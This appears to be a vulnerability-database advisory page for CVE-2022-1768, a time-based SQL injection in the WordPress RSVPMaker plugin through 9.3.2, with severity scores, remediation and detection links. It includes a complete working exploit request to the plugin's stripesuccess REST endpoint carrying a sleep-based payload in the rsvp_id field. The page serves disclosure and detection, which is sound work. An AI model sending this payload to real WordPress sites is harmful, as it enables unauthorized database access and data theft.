🔙 목록으로 돌아가기

CVE-2022-1768: WordPress RSVPMaker <=9.3.2 - SQL Injection

TitleWordPress RSVPMaker <=9.3.2 - SQL Injection
Authoredoardottt
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
RemediationUpdate to the latest version of the RSVPMaker plugin (9.3.3 or higher) to mitigate the SQL Injection vulnerability.
CVSS Score7.5
EPSS Score0.86112
CVE IDCVE-2022-1768
CWE IDCWE-89
Tags time-based-sqli cve cve2022 wordpress wp-plugin wp sqli rsvpmaker carrcommunications vkev vuln

🔍 Vulnerability Description

WordPress RSVPMaker plugin through 9.3.2 contains a SQL injection vulnerability due to insufficient escaping and parameterization on user-supplied data passed to multiple SQL queries in ~/rsvpmaker-email.php. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /wp-json/rsvpmaker/v1/stripesuccess/anythinghere HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 71
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

rsvp_id=(select(0)from(select(sleep(7)))a)&amount=1234&email=randomtext

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1768.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1768.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A